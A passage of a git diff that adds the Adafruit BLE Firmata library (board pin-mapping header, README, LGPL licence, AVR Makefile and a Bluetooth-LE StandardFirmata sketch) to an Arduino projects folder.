Firmata to implement any number of pins which map onto the +Arduino implemented pins in almost any arbitrary way. + + +General Constants: + +These constants provide basic information Firmata requires. + +TOTAL_PINS: The total number of pins Firmata implemented by Firmata. + Usually this will match the number of pins the Arduino functions + implement, including any pins pins capable of analog or digital. + However, Firmata may implement any number of pins. For example, + on Arduino Mini with 8 analog inputs, 6 of these may be used + for digital functions, and 2 are analog only. On such boards, + Firmata can implement more pins than Arduino's pinMode() + function, in order to accommodate those special pins. The + Firmata protocol supports a maximum of 128 pins, so this + constant must not exceed 128. + +TOTAL_ANALOG_PINS: The total number of analog input pins implemented. + The Firmata protocol allows up to 16 analog inputs, accessed + using offsets 0 to 15. Because Firmata presents the analog + inputs using different offsets than the actual pin numbers + (a legacy of Arduino's analogRead function, and the way the + analog input capable pins are physically labeled on all + Arduino boards), the total number of analog input signals + must be specified. 16 is the maximum. + +VERSION_BLINK_PIN: When Firmata starts up, it will blink the version + number. This constant is the Arduino pin number where a + LED is connected. + + +Pin Mapping Macros: + +These macros provide the mapping between pins as implemented by +Firmata protocol and the actual pin numbers used by the Arduino +functions. Even though such mappings are often simple, pin +numbers received by Firmata protocol should always be used as +input to these macros, and the result of the macro should be +used with with any Arduino function. + +When Firmata is extended to support a new pin mode or feature, +a pair of macros should be added and used for all hardware +access. For simple 1:1 mapping, these macros add no actual +overhead, yet their consistent use allows source code which +uses them consistently to be easily adapted to all other boards +with different requirements. + +IS_PIN_XXXX(pin): The IS_PIN macros resolve to true or non-zero + if a pin as implemented by Firmata corresponds to a pin + that actually implements the named feature. + +PIN_TO_XXXX(pin): The PIN_TO macros translate pin numbers as + implemented by Firmata to the pin numbers needed as inputs + to the Arduino functions. The corresponding IS_PIN macro + should always be tested before using a PIN_TO macro, so + these macros only need to handle valid Firmata pin + numbers for the named feature. + + +Port Access Inline Funtions: + +For efficiency, Firmata protocol provides access to digital +input and output pins grouped by 8 bit ports. When these +groups of 8 correspond to actual 8 bit ports as implemented +by the hardware, these inline functions can provide high +speed direct port access. Otherwise, a default implementation +using 8 calls to digitalWrite or digitalRead is used. + +When porting Firmata to a new board, it is recommended to +use the default functions first and focus only on the constants +and macros above. When those are working, if optimized port +access is desired, these inline functions may be extended. +The recommended approach defines a symbol indicating which +optimization to use, and then conditional complication is +used within these functions. + +readPort(port, bitmask): Read an 8 bit port, returning the value. + port: The port number, Firmata pins port*8 to port*8+7 + bitmask: The actual pins to read, indicated by 1 bits. + +writePort(port, value, bitmask): Write an 8 bit port. + port: The port number, Firmata pins port*8 to port*8+7 + value: The 8 bit value to write + bitmask: The actual pins to write, indicated by 1 bits. +*/ + +/*============================================================================== + * Board Specific Configuration + *============================================================================*/ + +#ifndef digitalPinHasPWM +#define digitalPinHasPWM(p) IS_PIN_DIGITAL(p) +#endif + +// Arduino Duemilanove, Diecimila, and NG +#if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) +#if defined(NUM_ANALOG_INPUTS) && NUM_ANALOG_INPUTS == 6 +#define TOTAL_ANALOG_PINS 6 +#define TOTAL_PINS 22 // 14 digital (not all are 'digital/available') + 6 analog +#else +#define TOTAL_ANALOG_PINS 8 +#define TOTAL_PINS 22 // 14 digital + 8 analog +#endif + +#define VERSION_BLINK_PIN 99 +// we dont use digital 2 or 9, 10, 11, 12, 13 -> BTLE link +#define IS_PIN_DIGITAL(p) (((p) >= 3 && (p) <= 8) || ((p) >= 14 && (p) <= 19 )) +#define IS_PIN_ANALOG(p) ((p) >= 14 && (p) < 14 + TOTAL_ANALOG_PINS) +#define IS_PIN_PWM(p) digitalPinHasPWM(p) +#define IS_PIN_SERVO(p) (IS_PIN_DIGITAL(p) && (p) - 2 < MAX_SERVOS) +#define IS_PIN_I2C(p) ((p) == 18 || (p) == 19) +#define PIN_TO_DIGITAL(p) (p) +#define PIN_TO_ANALOG(p) ((p) - 14) +#define PIN_TO_PWM(p) PIN_TO_DIGITAL(p) +#define PIN_TO_SERVO(p) ((p) - 2) +#define ARDUINO_PINOUT_OPTIMIZE 0 + + +// Arduino Mega +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TOTAL_ANALOG_PINS 16 +#define TOTAL_PINS 70 // 54 digital + 16 analog +#define VERSION_BLINK_PIN 13 +#define IS_PIN_DIGITAL(p) ((p) >= 2 && (p) < TOTAL_PINS) +#define IS_PIN_ANALOG(p) ((p) >= 54 && (p) < TOTAL_PINS) +#define IS_PIN_PWM(p) digitalPinHasPWM(p) +#define IS_PIN_SERVO(p) ((p) >= 2 && (p) - 2 < MAX_SERVOS) +#define IS_PIN_I2C(p) ((p) == 20 || (p) == 21) +#define PIN_TO_DIGITAL(p) (p) +#define PIN_TO_ANALOG(p) ((p) - 54) +#define PIN_TO_PWM(p) PIN_TO_DIGITAL(p) +#define PIN_TO_SERVO(p) ((p) - 2) + + +// anything else +#else +#error "Please edit Boards.h with a hardware abstraction for this board" +#endif + + +/*============================================================================== + * readPort() - Read an 8 bit port + *============================================================================*/ + +static inline unsigned char readPort(byte, byte) __attribute__((always_inline, unused)); +static inline unsigned char readPort(byte port, byte bitmask) +{ + unsigned char out=0, pin=port*8; + if (IS_PIN_DIGITAL(pin+0) && (bitmask & 0x01) && digitalRead(PIN_TO_DIGITAL(pin+0))) out |= 0x01; + if (IS_PIN_DIGITAL(pin+1) && (bitmask & 0x02) && digitalRead(PIN_TO_DIGITAL(pin+1))) out |= 0x02; + if (IS_PIN_DIGITAL(pin+2) && (bitmask & 0x04) && digitalRead(PIN_TO_DIGITAL(pin+2))) out |= 0x04; + if (IS_PIN_DIGITAL(pin+3) && (bitmask & 0x08) && digitalRead(PIN_TO_DIGITAL(pin+3))) out |= 0x08; + if (IS_PIN_DIGITAL(pin+4) && (bitmask & 0x10) && digitalRead(PIN_TO_DIGITAL(pin+4))) out |= 0x10; + if (IS_PIN_DIGITAL(pin+5) && (bitmask & 0x20) && digitalRead(PIN_TO_DIGITAL(pin+5))) out |= 0x20; + if (IS_PIN_DIGITAL(pin+6) && (bitmask & 0x40) && digitalRead(PIN_TO_DIGITAL(pin+6))) out |= 0x40; + if (IS_PIN_DIGITAL(pin+7) && (bitmask & 0x80) && digitalRead(PIN_TO_DIGITAL(pin+7))) out |= 0x80; + return out; + +} + +/*============================================================================== + * writePort() - Write an 8 bit port, only touch pins specified by a bitmask + *============================================================================*/ + +static inline unsigned char writePort(byte, byte, byte) __attribute__((always_inline, unused)); +static inline unsigned char writePort(byte port, byte value, byte bitmask) +{ +#if defined(ARDUINO_PINOUT_OPTIMIZE) + if (port == 0) { + bitmask = bitmask & 0xFC; // do not touch Tx & Rx pins + byte valD = value & bitmask; + byte maskD = ~bitmask; + cli(); + PORTD = (PORTD & maskD) | valD; + sei(); + } else if (port == 1) { + byte valB = (value & bitmask) & 0x3F; + byte valC = (value & bitmask) >> 6; + byte maskB = ~(bitmask & 0x3F); + byte maskC = ~((bitmask & 0xC0) >> 6); + cli(); + PORTB = (PORTB & maskB) | valB; + PORTC = (PORTC & maskC) | valC; + sei(); + } else if (port == 2) { + bitmask = bitmask & 0x0F; + byte valC = (value & bitmask) << 2; + byte maskC = ~(bitmask << 2); + cli(); + PORTC = (PORTC & maskC) | valC; + sei(); + } +#else + byte pin=port*8; + for (uint8_t i=0; i<8; i++) { + if (bitmask & (1 << i)) { + // dont touch non-digital pins + if (IS_PIN_DIGITAL(pin+i)) + digitalWrite(PIN_TO_DIGITAL(pin+i), (value & (1 << i))); + } + } +#endif +} + + + + +#ifndef TOTAL_PORTS +#define TOTAL_PORTS ((TOTAL_PINS + 7) / 8) +#endif + + +#endif /* BLE_Firmata_Boards_h */ + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt new file mode 100755 index 0000000..77cec6d --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt @@ -0,0 +1,458 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. 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The [protocol](http://firmata.org/wiki/Protocol) can be implemented in firmware on any microcontroller architecture as well as software on any host computer software package. The arduino repository described here is a Firmata library for Arduino and Arduino-compatible devices. See the [firmata wiki](http://firmata.org/wiki/Main_Page) for additional informataion. If you would like to contribute to Firmata, please see the [Contributing](#contributing) section below. + +##Usage + +There are two main models of usage of Firmata. In one model, the author of the Arduino sketch uses the various methods provided by the Firmata library to selectively send and receive data between the Arduino device and the software running on the host computer. For example, a user can send analog data to the host using ``` Firmata.sendAnalog(analogPin, analogRead(analogPin)) ``` or send data packed in a string using ``` Firmata.sendString(stringToSend) ```. See File -> Examples -> Firmata -> AnalogFirmata & EchoString respectively for examples. + +The second and more common model is to load a general purpose sketch called StandardFirmata on the Arduino board and then use the host computer exclusively to interact with the Arduino board. StandardFirmata is located in the Arduino IDE in File -> Examples -> Firmata. + +##Firmata Client Libraries +Most of the time you will be interacting with arduino with a client library on the host computers. Several Firmata client libraries have been implemented in a variety of popular programming languages: + +* procesing + * [https://github.com/firmata/processing] + * [http://funnel.cc] +* python + * [https://github.com/firmata/pyduino] + * [https://github.com/lupeke/python-firmata] + * [https://github.com/tino/pyFirmata] +* perl + * [https://github.com/ntruchsess/perl-firmata] + * [https://github.com/rcaputo/rx-firmata] +* ruby + * [https://github.com/hardbap/firmata] + * [https://github.com/PlasticLizard/rufinol] + * [http://funnel.cc] +* clojure + * [https://github.com/nakkaya/clodiuno] +* javascript + * [https://github.com/jgautier/firmata] + * [http://breakoutjs.com] + * [https://github.com/rwldrn/johnny-five] +* java + * [https://github.com/4ntoine/Firmata] + * [https://github.com/shigeodayo/Javarduino] +* .NET + * [http://www.imagitronics.org/projects/firmatanet/] +* Flash/AS3 + * [http://funnel.cc] + * [http://code.google.com/p/as3glue/] +* PHP + * [https://bitbucket.org/ThomasWeinert/carica-firmata] + +Note: The above libraries may support various versions of the Firmata protocol and therefore may not support all features of the latest Firmata spec nor all arduino and arduino-compatible boards. Refer to the respective projects for details. + +##Updating Firmata in the Arduino IDE (< Arduino 1.5) +The version of firmata in the Arduino IDE contains an outdated version of Firmata. To update Firmata, clone the repo into the location of firmata in the arduino IDE or download the latest [tagged version](https://github.com/firmata/arduino/tags) (stable), rename the folder to "Firmata" and replace the existing Firmata folder in your Ardino application. + +**Mac OSX**: + +```bash +$ rm -r /Applications/Arduino.app/Contents/Resources/Java/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git /Applications/Arduino.app/Contents/Resources/Java/libraries/Firmata +``` + +If you are downloading the latest tagged version of Firmata, rename it to "Firmata" and copy to /Applications/Arduino.app/Contents/Resources/Java/libraries/ overwriting the existing Firmata directory. Right-click (or conrol + click) on the Arduino application and choose "Show Package Contents" and navigate to the libraries directory. + +**Windows**: + +Using the Git Shell application installed with [GitHub for Windows](http://windows.github.com/) (set default shell in options to Git Bash) or other command line based git tool: + +update the path and arduino version as necessary +```bash +$ rm -r c:/Program\ Files/arduino-1.x/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git c:/Program\ Files/arduino-1.x/libraries/Firmata +``` + +Note: If you use GitHub for Windows, you must clone the firmata/arduino repository using the Git Shell application as described above. You can use the Github for Windows GUI only after you have cloned the repository. Drag the Firmata file into the Github for Windows GUI to track it. + +**Linux**: + +update the path and arduino version as necessary +```bash +$ rm -r ~/arduino-1.x/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git ~/arduino-1.x/libraries/Firmata +``` + +##Updating Firmata in the Arduino IDE (>= Arduino 1.5.2) +As of Arduino 1.5.2 and there are separate library directories for the sam and +avr architectures. To update Firmata in Arduino 1.5.2 or higher, follow the +instructions above for pre Arduino 1.5 versions but update the path as follows: + +**Mac OSX**: +``` +/Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/avr/libraries/Firmata +/Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/sam/libraries/Firmata +``` + +**Windows**: +``` +/Program\ Files/arduino-1.5.x/hardware/arduino/avr/libraries/Firmata +/Program\ Files/arduino-1.5.x/hardware/arduino/sam/libraries/Firmata +``` + +**Linux** +``` +~/arduino-1.5.x/hardware/arduino/avr/libraries/Firmata +~/arduino-1.5.x/hardware/arduino/sam/libraries/Firmata +``` + + +##Contributing + +If you discover a bug or would like to propose a new feature, please open a new [issue](https://github.com/firmata/arduino/issues?sort=created&state=open). Due to the limited memory of standard Arduino boards we cannot add every requested feature to StandardFirmata. Requests to add new features to StandardFirmata will be evaluated by the Firmata developers. However it is still possible to add new features to other Firmata implementations (Firmata is a protocol whereas StandardFirmata is just one of many possible implementations). + +To contribute, fork this respository and create a new topic branch for the bug, feature or other existing issue you are addressing. Submit the pull request against the *dev* branch. + +If you would like to contribute but don't have a specific bugfix or new feature to contribute, you can take on an existing issue, see issues labeled "pull-request-encouraged". Add a comment to the issue to express your intent to begin work and/or to get any additional information about the issue. + +You must thorougly test your contributed code. In your pull request, describe tests performed to ensure that no existing code is broken and that any changes maintain backwards compatibility with the existing api. Test on multiple Arduino board variants if possible. We hope to enable some form of automated (or at least semi-automated) testing in the future, but for now any tests will need to be executed manually by the contributor and reviewsers. + +Maintain the existing code style: + +- Indentation is 2 spaces +- Use spaces instead of tabs +- Use camel case for both private and public properties and methods +- Document functions (specific doc style is TBD... for now just be sure to document) +- Insert first block bracket on line following the function definition: + +
void someFunction()
+{
+  // do something
+}
+
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If you're using this makefile instead, you'll need to do +# a few things differently: +# +# - Give your program's file a .cpp extension (e.g. foo.cpp). +# +# - Put this line at top of your code: #include +# +# - Write prototypes for all your functions (or define them before you +# call them). A prototype declares the types of parameters a +# function will take and what type of value it will return. This +# means that you can have a call to a function before the definition +# of the function. A function prototype looks like the first line of +# the function, with a semi-colon at the end. For example: +# int digitalRead(int pin); +# +# Instructions for using the makefile: +# +# 1. Copy this file into the folder with your sketch. +# +# 2. Below, modify the line containing "TARGET" to refer to the name of +# of your program's file without an extension (e.g. TARGET = foo). +# +# 3. Modify the line containg "ARDUINO" to point the directory that +# contains the Arduino core (for normal Arduino installations, this +# is the hardware/cores/arduino sub-directory). +# +# 4. Modify the line containing "PORT" to refer to the filename +# representing the USB or serial connection to your Arduino board +# (e.g. PORT = /dev/tty.USB0). If the exact name of this file +# changes, you can use * as a wildcard (e.g. PORT = /dev/tty.USB*). +# +# 5. At the command line, change to the directory containing your +# program's file and the makefile. +# +# 6. Type "make" and press enter to compile/verify your program. +# +# 7. Type "make upload", reset your Arduino board, and press enter to +# upload your program to the Arduino board. +# +# $Id: Makefile,v 1.7 2007/04/13 05:28:23 eighthave Exp $ + +PORT = /dev/tty.usbserial-* +TARGET := $(shell pwd | sed 's|.*/\(.*\)|\1|') +ARDUINO = /Applications/arduino +ARDUINO_SRC = $(ARDUINO)/hardware/cores/arduino +ARDUINO_LIB_SRC = $(ARDUINO)/hardware/libraries +ARDUINO_TOOLS = $(ARDUINO)/hardware/tools +INCLUDE = -I$(ARDUINO_SRC) -I$(ARDUINO)/hardware/tools/avr/avr/include \ + -I$(ARDUINO_LIB_SRC)/EEPROM \ + -I$(ARDUINO_LIB_SRC)/Firmata \ + -I$(ARDUINO_LIB_SRC)/Matrix \ + -I$(ARDUINO_LIB_SRC)/Servo \ + -I$(ARDUINO_LIB_SRC)/Wire \ + -I$(ARDUINO_LIB_SRC) +SRC = $(wildcard $(ARDUINO_SRC)/*.c) +CXXSRC = applet/$(TARGET).cpp $(ARDUINO_SRC)/HardwareSerial.cpp \ + $(ARDUINO_LIB_SRC)/EEPROM/EEPROM.cpp \ + $(ARDUINO_LIB_SRC)/Firmata/Firmata.cpp \ + $(ARDUINO_LIB_SRC)/Servo/Servo.cpp \ + $(ARDUINO_SRC)/Print.cpp \ + $(ARDUINO_SRC)/WMath.cpp +HEADERS = $(wildcard $(ARDUINO_SRC)/*.h) $(wildcard $(ARDUINO_LIB_SRC)/*/*.h) + +MCU = atmega168 +#MCU = atmega8 +F_CPU = 16000000 +FORMAT = ihex +UPLOAD_RATE = 19200 + +# Name of this Makefile (used for "make depend"). +MAKEFILE = Makefile + +# Debugging format. +# Native formats for AVR-GCC's -g are stabs [default], or dwarf-2. +# AVR (extended) COFF requires stabs, plus an avr-objcopy run. +DEBUG = stabs + +OPT = s + +# Place -D or -U options here +CDEFS = -DF_CPU=$(F_CPU) +CXXDEFS = -DF_CPU=$(F_CPU) + +# Compiler flag to set the C Standard level. +# c89 - "ANSI" C +# gnu89 - c89 plus GCC extensions +# c99 - ISO C99 standard (not yet fully implemented) +# gnu99 - c99 plus GCC extensions +CSTANDARD = -std=gnu99 +CDEBUG = -g$(DEBUG) +CWARN = -Wall -Wstrict-prototypes +CTUNING = -funsigned-char -funsigned-bitfields -fpack-struct -fshort-enums +#CEXTRA = -Wa,-adhlns=$(<:.c=.lst) + +CFLAGS = $(CDEBUG) $(CDEFS) $(INCLUDE) -O$(OPT) $(CWARN) $(CSTANDARD) $(CEXTRA) +CXXFLAGS = $(CDEFS) $(INCLUDE) -O$(OPT) +#ASFLAGS = -Wa,-adhlns=$(<:.S=.lst),-gstabs +LDFLAGS = + + +# Programming support using avrdude. Settings and variables. +AVRDUDE_PROGRAMMER = stk500 +AVRDUDE_PORT = $(PORT) +AVRDUDE_WRITE_FLASH = -U flash:w:applet/$(TARGET).hex +AVRDUDE_FLAGS = -F -p $(MCU) -P $(AVRDUDE_PORT) -c $(AVRDUDE_PROGRAMMER) \ + -b $(UPLOAD_RATE) -q -V + +# Program settings +ARDUINO_AVR_BIN = $(ARDUINO_TOOLS)/avr/bin +CC = $(ARDUINO_AVR_BIN)/avr-gcc +CXX = $(ARDUINO_AVR_BIN)/avr-g++ +OBJCOPY = $(ARDUINO_AVR_BIN)/avr-objcopy +OBJDUMP = $(ARDUINO_AVR_BIN)/avr-objdump +SIZE = $(ARDUINO_AVR_BIN)/avr-size +NM = $(ARDUINO_AVR_BIN)/avr-nm +#AVRDUDE = $(ARDUINO_AVR_BIN)/avrdude +AVRDUDE = avrdude +REMOVE = rm -f +MV = mv -f + +# Define all object files. +OBJ = $(SRC:.c=.o) $(CXXSRC:.cpp=.o) $(ASRC:.S=.o) + +# Define all listing files. +LST = $(ASRC:.S=.lst) $(CXXSRC:.cpp=.lst) $(SRC:.c=.lst) + +# Combine all necessary flags and optional flags. +# Add target processor to flags. +ALL_CFLAGS = -mmcu=$(MCU) -I. $(CFLAGS) +ALL_CXXFLAGS = -mmcu=$(MCU) -I. $(CXXFLAGS) +ALL_ASFLAGS = -mmcu=$(MCU) -I. -x assembler-with-cpp $(ASFLAGS) + + +# Default target. +all: build + +build: applet/$(TARGET).hex + +eep: applet/$(TARGET).eep +lss: applet/$(TARGET).lss +sym: applet/$(TARGET).sym + + +# Convert ELF to COFF for use in debugging / simulating in AVR Studio or VMLAB. +COFFCONVERT=$(OBJCOPY) --debugging \ +--change-section-address .data-0x800000 \ +--change-section-address .bss-0x800000 \ +--change-section-address .noinit-0x800000 \ +--change-section-address .eeprom-0x810000 + + +coff: applet/$(TARGET).elf + $(COFFCONVERT) -O coff-avr applet/$(TARGET).elf applet/$(TARGET).cof + + +extcoff: applet/$(TARGET).elf + $(COFFCONVERT) -O coff-ext-avr applet/$(TARGET).elf applet/$(TARGET).cof + + +.SUFFIXES: .elf .hex .eep .lss .sym .pde + +.elf.hex: + $(OBJCOPY) -O $(FORMAT) -R .eeprom $< $@ + +.elf.eep: + -$(OBJCOPY) -j .eeprom --set-section-flags=.eeprom="alloc,load" \ + --change-section-lma .eeprom=0 -O $(FORMAT) $< $@ + +# Create extended listing file from ELF output file. +.elf.lss: + $(OBJDUMP) -h -S $< > $@ + +# Create a symbol table from ELF output file. +.elf.sym: + $(NM) -n $< > $@ + + +# Compile: create object files from C++ source files. +.cpp.o: $(HEADERS) + $(CXX) -c $(ALL_CXXFLAGS) $< -o $@ + +# Compile: create object files from C source files. +.c.o: $(HEADERS) + $(CC) -c $(ALL_CFLAGS) $< -o $@ + + +# Compile: create assembler files from C source files. +.c.s: + $(CC) -S $(ALL_CFLAGS) $< -o $@ + + +# Assemble: create object files from assembler source files. +.S.o: + $(CC) -c $(ALL_ASFLAGS) $< -o $@ + + + +applet/$(TARGET).cpp: $(TARGET).pde + test -d applet || mkdir applet + echo '#include "WProgram.h"' > applet/$(TARGET).cpp + echo '#include "avr/interrupt.h"' >> applet/$(TARGET).cpp + sed -n 's|^\(void .*)\).*|\1;|p' $(TARGET).pde | grep -v 'setup()' | \ + grep -v 'loop()' >> applet/$(TARGET).cpp + cat $(TARGET).pde >> applet/$(TARGET).cpp + cat $(ARDUINO_SRC)/main.cxx >> applet/$(TARGET).cpp + +# Link: create ELF output file from object files. +applet/$(TARGET).elf: applet/$(TARGET).cpp $(OBJ) + $(CC) $(ALL_CFLAGS) $(OBJ) -lm --output $@ $(LDFLAGS) +# $(CC) $(ALL_CFLAGS) $(OBJ) $(ARDUINO_TOOLS)/avr/avr/lib/avr5/crtm168.o --output $@ $(LDFLAGS) + +pd_close_serial: + echo 'close;' | /Applications/Pd-extended.app/Contents/Resources/bin/pdsend 34567 || true + +# Program the device. +upload: applet/$(TARGET).hex + $(AVRDUDE) $(AVRDUDE_FLAGS) $(AVRDUDE_WRITE_FLASH) + + +pd_test: build pd_close_serial upload + +# Target: clean project. +clean: + $(REMOVE) -- applet/$(TARGET).hex applet/$(TARGET).eep \ + applet/$(TARGET).cof applet/$(TARGET).elf $(TARGET).map \ + applet/$(TARGET).sym applet/$(TARGET).lss applet/$(TARGET).cpp \ + $(OBJ) $(LST) $(SRC:.c=.s) $(SRC:.c=.d) $(CXXSRC:.cpp=.s) $(CXXSRC:.cpp=.d) + rmdir -- applet + +depend: + if grep '^# DO NOT DELETE' $(MAKEFILE) >/dev/null; \ + then \ + sed -e '/^# DO NOT DELETE/,$$d' $(MAKEFILE) > \ + $(MAKEFILE).$$$$ && \ + $(MV) $(MAKEFILE).$$$$ $(MAKEFILE); \ + fi + echo '# DO NOT DELETE THIS LINE -- make depend depends on it.' \ + >> $(MAKEFILE); \ + $(CC) -M -mmcu=$(MCU) $(CDEFS) $(INCLUDE) $(SRC) $(ASRC) >> $(MAKEFILE) + +.PHONY: all build eep lss sym coff extcoff clean depend pd_close_serial pd_test + +# for emacs +etags: + make etags_`uname -s` + etags *.pde \ + $(ARDUINO_SRC)/*.[ch] \ + $(ARDUINO_SRC)/*.cpp \ + $(ARDUINO_LIB_SRC)/*/*.[ch] \ + $(ARDUINO_LIB_SRC)/*/*.cpp \ + $(ARDUINO)/hardware/tools/avr/avr/include/avr/*.[ch] \ + $(ARDUINO)/hardware/tools/avr/avr/include/*.[ch] + +etags_Darwin: +# etags -a + +etags_Linux: +# etags -a /usr/include/*.h linux/input.h /usr/include/sys/*.h + +etags_MINGW: +# etags -a /usr/include/*.h /usr/include/sys/*.h + + +path: + echo $(PATH) + echo $$PATH + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino new file mode 100755 index 0000000..36c64df --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino @@ -0,0 +1,738 @@ +/* + * Firmata is a generic protocol for communicating with microcontrollers + * from software on a host computer. It is intended to work with + * any host computer software package. + * + * This version is modified to specifically work with Adafruit's BLE + * library. It no longer works over the standard "USB" connection! + */ + +/* + Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved. + Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved. + Copyright (C) 2009 Shigeru Kobayashi. All rights reserved. + Copyright (C) 2009-2011 Jeff Hoefs. All rights reserved. + Copyright (C) 2014 Limor Fried/Kevin Townsend All rights reserved. + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + See file LICENSE.txt for further informations on licensing terms. + + formatted using the GNU C formatting and indenting +*/ + +/* + * TODO: use Program Control to load stored profiles from EEPROM + */ + +#include +#include +#include +#include +#include "Adafruit_BLE_UART.h" + +#define AUTO_INPUT_PULLUPS true + +// Connect CLK/MISO/MOSI to hardware SPI +// e.g. On UNO & compatible: CLK = 13, MISO = 12, MOSI = 11 +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 // This should be an interrupt pin, on Uno thats #2 or #3 +#define ADAFRUITBLE_RST 9 + +// so we have digital 3-8 and analog 0-6 + +Adafruit_BLE_UART BLEserial = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + + +// make one instance for the user to use +Adafruit_BLE_FirmataClass BLE_Firmata(BLEserial); + + +/*============================================================================== + * GLOBAL VARIABLES + *============================================================================*/ + +/* analog inputs */ +int analogInputsToReport = 0; // bitwise array to store pin reporting +int lastAnalogReads[NUM_ANALOG_INPUTS]; + +/* digital input ports */ +byte reportPINs[TOTAL_PORTS]; // 1 = report this port, 0 = silence +byte previousPINs[TOTAL_PORTS]; // previous 8 bits sent + +/* pins configuration */ +byte pinConfig[TOTAL_PINS]; // configuration of every pin +byte portConfigInputs[TOTAL_PORTS]; // each bit: 1 = pin in INPUT, 0 = anything else +int pinState[TOTAL_PINS]; // any value that has been written + +/* timer variables */ +unsigned long currentMillis; // store the current value from millis() +unsigned long previousMillis; // for comparison with currentMillis +int samplingInterval = 200; // how often to run the main loop (in ms) +#define MINIMUM_SAMPLE_DELAY 150 +#define ANALOG_SAMPLE_DELAY 50 + + +/* i2c data */ +struct i2c_device_info { + byte addr; + byte reg; + byte bytes; +}; + +/* for i2c read continuous more */ +i2c_device_info query[MAX_QUERIES]; + +byte i2cRxData[32]; +boolean isI2CEnabled = false; +signed char queryIndex = -1; +unsigned int i2cReadDelayTime = 0; // default delay time between i2c read request and Wire.requestFrom() + +Servo servos[MAX_SERVOS]; +/*============================================================================== + * FUNCTIONS + *============================================================================*/ + +void readAndReportData(byte address, int theRegister, byte numBytes) { + // allow I2C requests that don't require a register read + // for example, some devices using an interrupt pin to signify new data available + // do not always require the register read so upon interrupt you call Wire.requestFrom() + if (theRegister != REGISTER_NOT_SPECIFIED) { + Wire.beginTransmission(address); + #if ARDUINO >= 100 + Wire.write((byte)theRegister); + #else + Wire.send((byte)theRegister); + #endif + Wire.endTransmission(); + delayMicroseconds(i2cReadDelayTime); // delay is necessary for some devices such as WiiNunchuck + } else { + theRegister = 0; // fill the register with a dummy value + } + + Wire.requestFrom(address, numBytes); // all bytes are returned in requestFrom + + // check to be sure correct number of bytes were returned by slave + if(numBytes == Wire.available()) { + i2cRxData[0] = address; + i2cRxData[1] = theRegister; + for (int i = 0; i < numBytes; i++) { + #if ARDUINO >= 100 + i2cRxData[2 + i] = Wire.read(); + #else + i2cRxData[2 + i] = Wire.receive(); + #endif + } + } + else { + if(numBytes > Wire.available()) { + BLE_Firmata.sendString("I2C Read Error: Too many bytes received"); + } else { + BLE_Firmata.sendString("I2C Read Error: Too few bytes received"); + } + } + + // send slave address, register and received bytes + BLE_Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData); +} + +void outputPort(byte portNumber, byte portValue, byte forceSend) +{ + // pins not configured as INPUT are cleared to zeros + portValue = portValue & portConfigInputs[portNumber]; + // only send if the value is different than previously sent + if(forceSend || previousPINs[portNumber] != portValue) { + Serial.print(F("Sending update for port ")); Serial.print(portNumber); Serial.print(" = 0x"); Serial.println(portValue, HEX); + BLE_Firmata.sendDigitalPort(portNumber, portValue); + previousPINs[portNumber] = portValue; + } +} + +/* ----------------------------------------------------------------------------- + * check all the active digital inputs for change of state, then add any events + * to the Serial output queue using Serial.print() */ +void checkDigitalInputs(boolean forceSend = false) +{ + /* Using non-looping code allows constants to be given to readPort(). + * The compiler will apply substantial optimizations if the inputs + * to readPort() are compile-time constants. */ + for (uint8_t i=0; i TOTAL_PINS) lastPin = TOTAL_PINS; + for (pin=port*8; pin < lastPin; pin++) { + // do not disturb non-digital pins (eg, Rx & Tx) + if (IS_PIN_DIGITAL(pin)) { + // only write to OUTPUT and INPUT (enables pullup) + // do not touch pins in PWM, ANALOG, SERVO or other modes + if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) { + pinWriteMask |= mask; + pinState[pin] = ((byte)value & mask) ? 1 : 0; + + if (AUTO_INPUT_PULLUPS && ( pinConfig[pin] == INPUT)) { + value |= mask; + } + } + } + mask = mask << 1; + } + Serial.print(F("Write digital port #")); Serial.print(port); + Serial.print(F(" = 0x")); Serial.print(value, HEX); + Serial.print(F(" mask = 0x")); Serial.println(pinWriteMask, HEX); + writePort(port, (byte)value, pinWriteMask); + } +} + + +// ----------------------------------------------------------------------------- +/* sets bits in a bit array (int) to toggle the reporting of the analogIns + */ +//void FirmataClass::setAnalogPinReporting(byte pin, byte state) { +//} +void reportAnalogCallback(byte analogPin, int value) +{ + if (analogPin < TOTAL_ANALOG_PINS) { + if(value == 0) { + analogInputsToReport = analogInputsToReport &~ (1 << analogPin); + Serial.print(F("Stop reporting analog pin #")); Serial.println(analogPin); + } else { + analogInputsToReport |= (1 << analogPin); + Serial.print(F("Will report analog pin #")); Serial.println(analogPin); + } + } + // TODO: save status to EEPROM here, if changed +} + +void reportDigitalCallback(byte port, int value) +{ + if (port < TOTAL_PORTS) { + Serial.print(F("Will report 0x")); Serial.print(value, HEX); Serial.print(F(" digital mask on port 